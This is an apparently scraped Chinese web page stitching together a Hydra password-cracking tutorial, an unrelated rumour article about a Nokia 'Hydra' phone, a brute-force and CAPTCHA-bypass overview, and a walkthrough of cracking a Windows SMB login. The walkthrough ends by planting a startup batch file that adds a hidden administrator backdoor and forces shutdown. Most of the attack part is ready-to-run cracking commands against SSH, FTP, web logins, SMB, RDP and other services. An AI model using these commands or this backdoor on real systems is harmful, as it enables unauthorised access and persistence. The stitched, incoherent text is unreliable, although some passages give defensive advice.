hydra破解的原理,hydra怎么解锁

hacker|
63

使用Hydra爆破3389

反正Hydra是个暴力破解的神器,这次正好用上那就记录一下

kali下自带Hydra, 安装过程就不多说了。命令行下输入hydra,效果如下

配置好用户名密码

然后就点击start就OK了

`

hydra的介绍

4英寸720p高清屏

虽然当前Windows Phone系统手机功能不俗,但相比其他系统的竞争对手来说,似乎在处理器等硬件配置方面还是不够给力。不过,随着这款代号为“Hydra”的诺基亚900的出现,或许未来Windows Phone系统阵营机型至少在硬件规格上将不会输给任何对手。比如该机将会配备4.0英寸AMOLED触控屏,不仅会融合CBD技术,而且所支持的分辨率也将升级至720p(1280×720像素),其所带来的显示效果和视觉冲击力自然是不言而喻。

不仅如此,诺基亚还会在该机上融合手势感应等功能。但其原理可能如诺基亚专利所描述的那样,通过超声波装置来感应用户在手机显示屏前所做的手势,并进行精确的识别,然后做出相应的指令反馈。

1.4GHZ单核处理器

如果最终硬件不变的话,诺基亚该机将会配置1.4GHz单核处理器,并且会配备专门的图形处理芯片,力求在3D性能及多媒体表现上达到出类拔萃的效果。此外,作为旗舰级机型的诺基亚900还会为手机装载1200万像素摄像头,支持自动对焦及1080p全高清视频录制等功能,也会配备前置摄像头来实现视频通话。

诺基亚900的其他功能还包括拥有32GB机身存储容量和支持存储卡扩展,拥有Wi-Fi无线上网、GPS导航、蓝牙3.0技术以及NFC近场通信等功能。更为神奇的是,该款手机还会如诺基亚X7那样设计四个扬声器,并且为了获得更理想的待机时间,还会配备1650毫安时电池。

定价500欧元

由于按照相关传闻的说法,诺基亚900将会在明年一季度发布,所以该机搭载的版本应该不会是Mango系统,而有可能是正在研发的Windows Phone Tango版本或是更为人期待的而有可能代号为“Apollo”的 Windows Phone 8系统。

据悉,诺基亚900的市场价格为500欧元,约合人民币4700元左右。不过,由于诸如720p高清触控屏和1.5GHz双核处理器等硬件配置过于强大,所以不少人还是对诺基亚900的真实性提出了质疑。但无论如何,诺基亚900将是一款在明年一季度才会发布的机型,并且Windows Phone也已经被高通公司列入了MSM8x60芯片支持的移动操作平台之一,所以在未来诺基亚手机家族中出现配备双核处理器的Windows Phone系统手机并不稀奇。

hydra的使用教程

kali系统自带hydra,所以这里不再讲hydra的安装过程。

先列出hydra的参数:

-s PORT 可通过这个参数指定非默认端口。

-l LOGIN 指定破解的用户,对特定用户破解。

-L FILE 指定用户名字典。

-p PASS 小写,指定密码破解,少用,一般是采用密码字典。

-P FILE 大写,指定密码字典。

-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。

-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。

-M FILE 指定目标列表文件一行一条。

-o FILE 指定结果输出文件。

-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。

-t TASKS 同时运行的线程数,默认为16。

-w TIME 设置最大超时的时间,单位秒,默认是30s。

-v / -V 显示详细过程。

server 目标ip

service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。

OPT 可选项

使用教程如下:

1.手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典。

2.破解ssh:

# hydra -L username.txt -P password.txt -t 1 -vV -ens 192.168.60.117 ssh

其中192.168.60.117是想要破解的电脑IP

破解成功,直接显示结果。

其它实例:

1.破解ssh:

# hydra -l 用户名 -p 密码字典 -t 线程-vV -e ns ip ssh

# hydra -l 用户名 -p 密码字典 -t 线程-o save.log -vV ip ssh

2.

破解ftp:

# hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV

# hydra ip ftp -l 用户名 -P 密码字典-e ns -vV

3.get

方式提交,破解web登录:

# hydra -l 用户名 -p 密码字典 -t 线程-vV -e ns ip http-get /admin/

# hydra -l 用户名 -p 密码字典 -t 线程-vV -e ns -f ip http-get /admin/index.php

4.post

方式提交,破解web登录:

# hydra -l 用户名 -P 密码字典-s 80 ip http-post-form "/admin/login.php:username=^USER^password=^PASS^submit=login:sorry password"

# hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^passwd=^PASS^:wrong username or password"

(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,title中的内容是表示错误猜解的返回信息提示。)

5.

破解https:

# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

6.

破解teamspeak:

# hydra -l 用户名 -P 密码字典 -s 端口号-vV ip teamspeak

7.

破解cisco:

# hydra -P pass.txt 10.36.16.18 cisco

# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

8.

破解smb:

# hydra -l administrator -P top100.txt 192.168.0.102 smb

9.

破解pop3:

# hydra -l muts -P pass.txt my.pop3.mail pop3

10.

破解rdp:

# hydra 192.168.0.102 rdp -l administrator -P top100.txt -V

11.

破解http-proxy:

# hydra -l admin -P pass.txt http-proxy://10.36.16.18

12.

破解imap:

# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN

# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果.

暴力破解与验证码安全

暴力破解 :暴力破解简单来说就是将密码进行逐个测试,直到找出正确的密码为止

    暴力破解:是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作

    暴力破解漏洞:如果一个web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高

暴力破解前准备 :

    1. web系统的认证安全策略:

        是否要求用户设置复杂的密码;

        是否每次认证都使用安全的验证码

        是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等)

        是否采用了双因素认证

        认证过程是否带有token信息

2.工具准备:准备合适的暴力破解工具以及一个有郊的字典

三个要点:

       1. 对目标网站进行注册,搞清楚帐号密码的一些限制,比如目标站点要求密码必须是8位以上,字母数字组合,则可以按照此优化字典,比如去掉不符合要求的密码

        2. web管理面密码使用admin/administrator/root帐号的机率较高,可以使用这三个帐号+随便一个密码字典进行暴力破解

        3. 破解过程中一定要注意观察提示,如有“用户名或密码错误”“密码错误”“用户名不存在”等相关提示,可进一步利用

暴力破解分类 :

    B/S模式:浏览器服务器模式的认证过程是http协议实现的,因此可以用burpsuite抓包工具来破解

        1. 不带验证码的认证的破解:可直接使用burpsuite加密码字典破解

        2. 带验证码的认证的破解:如果是前端验证可使用burpsuite抓包绕过验证码来暴力破解,如果是后端验证,可使用爆破工具(如pkav)外接验证码识别器来暴力破解。(如果后台验证过程中验证码没有立即销毁,此验证码可使用24分钟)

        3. 带token信息的认证的破解:(Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,客户端带上token代表具有执行某些操作的权利)token信息每次都不一样,需要burpsuite将服务器返回的token取出用于下一次请求。

    C/S模式:客户端服务器模式的认证过程有多种协议实现的,因此需要用专用的集成化破解工具来破解,例如 Hydra、Bruter、X-scan

        工具:

            Bruter:密码暴力破解工具

            Hydra:hydra是著名黑客组织thc的一款开源的暴力密码破解工具,支持多种协议,可以在线破解多种应用密码。

暴力破解的防范 :增加web系统的认证安全策略

    要求用户设置复杂的密码

    每次认证都使用安全的验证码

    对尝试登录的行为进行判断和限制

    采用双因素认证

    认证过程带token信息

验证码安全 :

        是一种区分用户是计算机还是人的全自动程序,可以防止:密码暴力破解、刷票、论坛灌水。可有效防护黑客对特定用户的密码暴力破解。

验证码分类 :

    Gif动画验证码

    手机短信验证码

    手机语音验证码

    视频验证码

验证码常见安全问题 :

    客户端问题

    服务端问题

    基于Token验证

    验证码太简单,容易被机器识别

    暴破验证码

验证码安全防护 :

    1) 强制要求输入验证码,否则,必须实施IP策略。 注意不要被X-Forwaded-For绕过了!

    2) 验证码只能用一次,用完立即过期!不能再次使用

    3) 验证码不要太弱。扭曲、变形、干扰线条、干扰背景色、变换字体等。

    4) 大网站最好统一安全验证码,各处使用同一个验证码接口

思路点:暴力破解和验证码安全破解时也可以熟悉认证业务过程,并试图在业务过程中寻找业务逻辑漏洞。

弱口令:属于暴力破解漏洞的一种,是web认证界面使用了常用的或者较简单的用户名密码,使暴力破解变得简单。

可能是最全的windows默认共享风险利用

        我是安全界的小学生,之前写了一篇“ windows彻底关闭默认共享 ”,但是一直未研究“为什么要关闭?不关闭能咋地?”,最近进行了一次验证实验,探索了默认共享会带来的危害,加深了对默认共享的理解,闲言少叙,主戳主题:

1、个人PC(后面都称作本机)

2、虚拟机上windows服务器 192.168.67.128

3、hydra工具:进行暴力破解

1、本机状态

2、windows服务器状态

3、在本机输入命令:net use k: \\192.168.67.128\c$

结果:

输入已破解用户的用户名和密码,比如:Administrator  password

如果密码错误,使用hydra进行破解:( 附上hydra使用方法 )

命令为:hydra -l administrator -P pass.txt 192.168.67.128 smb

破解结果:发现密码是123456

然后再进行登录:登录成功

4、在查看本机,会发现多了一个k盘(为windows服务器c盘的映射)

5、在开机启动项里添加批处理文件

先写一个批处理文件:

copy con  111.bat

net user Ethan 123456 /add

net localgroup Administrators Ethan /add

shutdown -s -t 180 -c "hello man,your PC has been hacked by Ethan!!!"

复制到桌面和启动下面:

6、 当对方重启服务器、或者出于好奇,打开桌面的.bat文件时 :弹出关机提示,同时新建Ethan用户。

查看,已经创建新的Ethan超级管理员账户

此时,如果对方未发现Ethan用户,就算修改administrator用户,仍然有Ethan用户作为后门。

7、如果服务器开启了远程桌面,也可以使用Ethan账户进行远程桌面登录。

成功:

关于windows默认共享问题,要想利用,首先需要服务器开了共享,其次是知道对方的用户名和口令,所以还是要注意修改默认用户名,并加强口令复杂度。

如果不需要, 彻底关闭默认共享 。

我是安全界的小学生,欢迎大家批评指导。

5条大神的评论

  • avatar
    访客 2022-10-08 上午 10:03:24

    10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,title中的内容是表示错误猜解的返回信息提示。) 5. 破解https: # hydra

  • avatar
    访客 2022-10-08 上午 05:38:07

    hone Tango版本或是更为人期待的而有可能代号为“Apollo”的 Windows Phone 8系统。据悉,诺基亚900的市场价格为500欧元,约合人民币4700元左右。不过,由于诸如720p

  • avatar
    访客 2022-10-08 下午 03:54:22

    ss.txt 10.36.16.18 https 6. 破解teamspeak: # hydra -l 用户名 -P 密码字典 -s 端口号-vV ip teamspeak 7. 破解cisco: # hydra -P pass.txt 10.36.16.18 cisc

  • avatar
    访客 2022-10-08 上午 04:23:40

    Administrators Ethan /add shutdown -s -t 180 -c "hello man,your PC has been hacked by E

  • avatar
    访客 2022-10-08 上午 08:43:08

    h: # hydra -l 用户名 -p 密码字典 -t 线程-vV -e ns ip ssh # hydra -l 用户名 -p 密码字典 -t 线程-o save.log -vV ip ssh 2. 破解ftp: # hydra ip ftp -l 用户名 -P 密码字典 -t 线程

发表评论